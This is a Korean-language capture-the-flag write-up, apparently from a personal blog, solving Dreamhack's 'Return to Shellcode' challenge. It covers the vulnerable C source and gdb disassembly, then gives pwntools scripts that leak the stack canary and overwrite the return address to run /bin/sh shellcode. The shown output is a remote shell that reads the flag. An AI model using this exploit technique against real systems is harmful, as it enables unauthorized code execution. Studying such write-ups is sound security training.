Wargame/Dreamhack

Return to Shellcode

wyv3rn 2022. 7. 19. 12:18
728x90
반응형

 

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  char buf[0x50];

  init();

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);

  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

  return 0;
}

코드부터 해석해보면

50 byte의 buf 변수를 할당하고
buf의 주소와 %rbp - buf 변수 주소를 통해 차이를 출력해준다.

이후 100 byte만큼의 값을 읽어 들여 그 값을 출력하고
다시 한번 값을 입력받고 종료한다.

즉, 첫번째 입력 시 canary 값을 알아내고
두 번째 입력 시 shellcode로 return 하면 될 것으로 예상된다.

 

프로그램을 실행해보면 매번 buf 주소는 변경되지만
ASLR이 걸려있던 canary가 걸려있던 %rbp - buf의 값은 항상 고정이기에 offset은 고정값임을 알 수 있다.

┌──(kali㉿kali)-[~/Downloads/1]
└─$ ./r2s
Address of the buf: 0x7ffda363af30
Distance between buf and $rbp: 96
[1] Leak the canary
Input: a
Your input is 'a
'
[2] Overwrite the return address
Input: a

┌──(kali㉿kali)-[~/Downloads/1]
└─$ ./r2s
Address of the buf: 0x7fffca374750
Distance between buf and $rbp: 96
[1] Leak the canary
Input: a
Your input is 'a
'
[2] Overwrite the return address
Input: a

┌──(kali㉿kali)-[~/Downloads/1]
└─$ ./r2s
Address of the buf: 0x7fffed2a6f90
Distance between buf and $rbp: 96
[1] Leak the canary
Input: a
Your input is 'a
'
[2] Overwrite the return address
Input: a

memory leak은 buf 변수 출력 시 발생하며 buf 변수의 크기를 완전히 다 채웠을 때 null 값이 없기에 끝이라 인식하지 못하고 데이터를 추가로 출력해주면서 발생한다.

gdb로 main 함수를 디스어셈블러 코드로 보면 아래와 같다.

Dump of assembler code for function main:
   0x00000000000008cd <+0>:     push   %rbp
   0x00000000000008ce <+1>:     mov    %rsp,%rbp
   0x00000000000008d1 <+4>:     sub    $0x60,%rsp
   0x00000000000008d5 <+8>:     mov    %fs:0x28,%rax
   0x00000000000008de <+17>:    mov    %rax,-0x8(%rbp)
   0x00000000000008e2 <+21>:    xor    %eax,%eax
   0x00000000000008e4 <+23>:    mov    $0x0,%eax
   0x00000000000008e9 <+28>:    call   0x88a <init>
   0x00000000000008ee <+33>:    lea    -0x60(%rbp),%rax
   0x00000000000008f2 <+37>:    mov    %rax,%rsi
   0x00000000000008f5 <+40>:    lea    0x16c(%rip),%rdi        # 0xa68
   0x00000000000008fc <+47>:    mov    $0x0,%eax
   0x0000000000000901 <+52>:    call   0x720 <printf@plt>
   0x0000000000000906 <+57>:    mov    %rbp,%rax
   0x0000000000000909 <+60>:    mov    %rax,%rdx
   0x000000000000090c <+63>:    lea    -0x60(%rbp),%rax
   0x0000000000000910 <+67>:    sub    %rax,%rdx
   0x0000000000000913 <+70>:    mov    %rdx,%rax
   0x0000000000000916 <+73>:    mov    %rax,%rsi
   0x0000000000000919 <+76>:    lea    0x160(%rip),%rdi        # 0xa80
   0x0000000000000920 <+83>:    mov    $0x0,%eax
   0x0000000000000925 <+88>:    call   0x720 <printf@plt>
   0x000000000000092a <+93>:    lea    0x173(%rip),%rdi        # 0xaa4
   0x0000000000000931 <+100>:   call   0x700 <puts@plt>
   0x0000000000000936 <+105>:   lea    0x17b(%rip),%rdi        # 0xab8
   0x000000000000093d <+112>:   mov    $0x0,%eax
   0x0000000000000942 <+117>:   call   0x720 <printf@plt>
   0x0000000000000947 <+122>:   mov    0x2006c2(%rip),%rax        # 0x201010 <stdout@@GLIBC_2.2.5>
   0x000000000000094e <+129>:   mov    %rax,%rdi
   0x0000000000000951 <+132>:   call   0x750 <fflush@plt>
   0x0000000000000956 <+137>:   lea    -0x60(%rbp),%rax
   0x000000000000095a <+141>:   mov    $0x100,%edx
   0x000000000000095f <+146>:   mov    %rax,%rsi
   0x0000000000000962 <+149>:   mov    $0x0,%edi
   0x0000000000000967 <+154>:   call   0x730 <read@plt>
   0x000000000000096c <+159>:   lea    -0x60(%rbp),%rax
   0x0000000000000970 <+163>:   mov    %rax,%rsi
   0x0000000000000973 <+166>:   lea    0x146(%rip),%rdi        # 0xac0
   0x000000000000097a <+173>:   mov    $0x0,%eax
   0x000000000000097f <+178>:   call   0x720 <printf@plt>
   0x0000000000000984 <+183>:   lea    0x14d(%rip),%rdi        # 0xad8
   0x000000000000098b <+190>:   call   0x700 <puts@plt>
   0x0000000000000990 <+195>:   lea    0x121(%rip),%rdi        # 0xab8
   0x0000000000000997 <+202>:   mov    $0x0,%eax
   0x000000000000099c <+207>:   call   0x720 <printf@plt>
   0x00000000000009a1 <+212>:   mov    0x200668(%rip),%rax        # 0x201010 <stdout@@GLIBC_2.2.5>
   0x00000000000009a8 <+219>:   mov    %rax,%rdi
   0x00000000000009ab <+222>:   call   0x750 <fflush@plt>
   0x00000000000009b0 <+227>:   lea    -0x60(%rbp),%rax
   0x00000000000009b4 <+231>:   mov    %rax,%rdi
   0x00000000000009b7 <+234>:   mov    $0x0,%eax
   0x00000000000009bc <+239>:   call   0x740 <gets@plt>
   0x00000000000009c1 <+244>:   mov    $0x0,%eax
   0x00000000000009c6 <+249>:   mov    -0x8(%rbp),%rcx
   0x00000000000009ca <+253>:   xor    %fs:0x28,%rcx
   0x00000000000009d3 <+262>:   je     0x9da <main+269>
   0x00000000000009d5 <+264>:   call   0x710 <__stack_chk_fail@plt>
   0x00000000000009da <+269>:   leave
   0x00000000000009db <+270>:   ret

코드 중 특이사항만 확인해보면


우선 canary 부분.

...
   0x00000000000008d5 <+8>:     mov    %fs:0x28,%rax
   0x00000000000008de <+17>:    mov    %rax,-0x8(%rbp)
   0x00000000000008e2 <+21>:    xor    %eax,%eax
   0x00000000000008e4 <+23>:    mov    $0x0,%eax
...
   0x00000000000009c6 <+249>:   mov    -0x8(%rbp),%rcx
   0x00000000000009ca <+253>:   xor    %fs:0x28,%rcx
   0x00000000000009d3 <+262>:   je     0x9da <main+269>
   0x00000000000009d5 <+264>:   call   0x710 <__stack_chk_fail@plt>
...

main + 8 ~ 23
%fs:0x28 값을 가져와 %rbp - 0x8 위치에 넣고 해당 변수를 초기화 한다.

main + 249 ~ 264
%rbp - 0x8 위치의 값을 %fs:0x28 값과 비교해서 같으면 main + 269로 점프하고 다르면 __stack_chk_fail 함수를 call 한다.


buf 변수 부분

...
   0x0000555555400956 <+137>:   lea    -0x60(%rbp),%rax
   0x000055555540095a <+141>:   mov    $0x100,%edx
   0x000055555540095f <+146>:   mov    %rax,%rsi
   0x0000555555400962 <+149>:   mov    $0x0,%edi
   0x0000555555400967 <+154>:   call   0x555555400730 <read@plt>
...

코드 상 0x50 크기로 선언 되었으나 %rbp - 0x60 부터 위치함을 알 수 있다.


gets 함수 부분

...
   0x00005555554009b0 <+227>:   lea    -0x60(%rbp),%rax
   0x00005555554009b4 <+231>:   mov    %rax,%rdi
   0x00005555554009b7 <+234>:   mov    $0x0,%eax
   0x00005555554009bc <+239>:   call   0x555555400740 <gets@plt>
...

마찬가지로 buf 변수를 사용하기에 %rbp - 0x60 부터 데이터가 입력된다.


종합해보면

buf 변수는 %rbp - 0x60 에 위치하며, canary 값은 %rbp - 0x8 에 위치한다.

코드에서 0x100만큼 값을 받아들이며, 만일 buf 변수에 0x60 - 0x8의 크기만큼 데이터가 들어오면 할당된 공간 내에 입력 값의 마지막을 나타내는 문자인 null이 없기에 buf 변수 내 값 출력 시 그 이후의 값인 canary 값을 출력하게되며, null을 만날때까지 출력하게 된다.

다시 설명하면, canary 값은 0x1122334455667700과 같이 임의의 값 7 byte와 마지막 0x00을 포함하기에 (아래 참조) 0x60 - 0x8의 크기만큼 데이터가 들어오면 canary의 마지막 00이 \n으로 변경되어 0x112233445566770a가 될 것이며 canary 값이 출력될 것이다.

#canary 값 받기 전
...
0x7fffffffe2b0: 0x0000000000000000      0x0000555555400780
0x7fffffffe2c0: 0x00007fffffffe3c0      0x0000000000000000
...
#canary 값 받은 후
...
0x7fffffffe2b0: 0x0000000000000000      0x0000555555400780
0x7fffffffe2c0: 0x00007fffffffe3c0      0x02348554001f3400
...

(canary 값을 받기 전/후의 스택 데이터를 보면 아래와 같으며, canary 마지막 값 (메모리 상 첫번째 값)이 \x00인 것을 볼 수 있다.)

그럼 이를 받아와서 canary를 우회하고 shellcode로 return하면 될 것이다.

 

우선 canary 값을 가져와보자.

canary 값을 가져오기 위한 코드는 아래와 같고, (사용하지는 않았지만 buf 변수의 주소를 미리 가져왔다.)

from pwn import *

#p=remote()
p=process('./r2s')


canary_input = b'A'*(0x60-0x8)
canary = b''

p.recvuntil(b'0x')
ret_add = p.recv(12)
p.sendlineafter(b'put: ',canary_input)
p.recvline()
canary = b'\x00'
canary += p.recv(7)
print(canary)
pause()
p.recvuntil(b'put: ')

마지막에 pause()를 걸어 대기시킨 다음, gdb로 분석해보자.

 

실행 중인 프로세스를 gdb로 분석하기 위해서는 터미널 2개가 필요하다.

우선 위의 파이썬 코드를 터미널 #1에서 실행시키면 아래와 같이 대기하며,

┌──(kali㉿kali)-[~/Downloads/1]
└─$ python a.py
[+] Starting local process './r2s': pid 56031
b"\x00\x8cw\xb2'\x8f\xaa\x80"
[*] Paused (press any to continue)

터미널 #2 에서 아래와 같이 gdb로 접근할 수 있다.

 

┌──(kali㉿kali)-[~]
└─$ ps aux | grep r2s
kali       56031  0.0  0.0   2284   680 pts/1    Ss+  21:56   0:00 ./r2s
kali       56053  0.0  0.1   6308  2276 pts/2    S+   21:56   0:00 grep --color=auto r2s

┌──(kali㉿kali)-[~]
└─$ gdb -p 56031

이후 #2에서 메모리를 확인해보면

...
0x7ffeff11c8b8: 0x0000561c5ce009c1      0x4141414141414141
0x7ffeff11c8c8: 0x4141414141414141      0x4141414141414141
0x7ffeff11c8d8: 0x4141414141414141      0x4141414141414141
0x7ffeff11c8e8: 0x4141414141414141      0x4141414141414141
0x7ffeff11c8f8: 0x4141414141414141      0x4141414141414141
0x7ffeff11c908: 0x4141414141414141      0x4141414141414141
0x7ffeff11c918: 0x80aa8f27b2778c0a      0x0000000000000000
0x7ffeff11c928: 0x00007ff1878107fd      
...

출력된 값과 스택에 저장된 canary 값이 같음을 확인할 수 있다.

 

이제 마지막 gets 함수에 넣을 데이터를 구성해보자.

gets 함수도 마찬가지로 buf 변수를 쓰기에 총 크기는 0x60 byte이며
구성은 dummy (0x60 - 0x8) + canary 0x8 byte + sfp 8 byte + ret address (buf 변수 address)
가 된다.

이를 기준으로 코드를 조금 수정해보면 아래와 같다.

from pwn import *

context.arch = 'amd64'

p=remote('host3.dreamhack.games',8847)
#p=process('./r2s')


canary_input = b'A'*(0x60-0x8)
canary = b''

p.recvuntil(b'0x')
ret_add = p.recv(12)
p.sendlineafter(b'put: ',canary_input)
p.recvline()
canary = b'\x00'
canary += p.recv(7)
ret_add = p64(int(ret_add,16))

totlen = 0x60-0x8
pay = b''
pay += asm(shellcraft.sh())
pay += b'\x90'*(totlen-len(pay))
pay += canary
pay += b'\x90'*8
pay += ret_add

p.sendlineafter(b'put: ',pay)
p.interactive()
┌──(kali㉿kali)-[~/Downloads/1]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 8847: Done
[*] Switching to interactive mode
$ id
uid=1000(r2s) gid=1000(r2s) groups=1000(r2s)
$ cat flag
DH{----------#플래그는 삭제}
728x90
반응형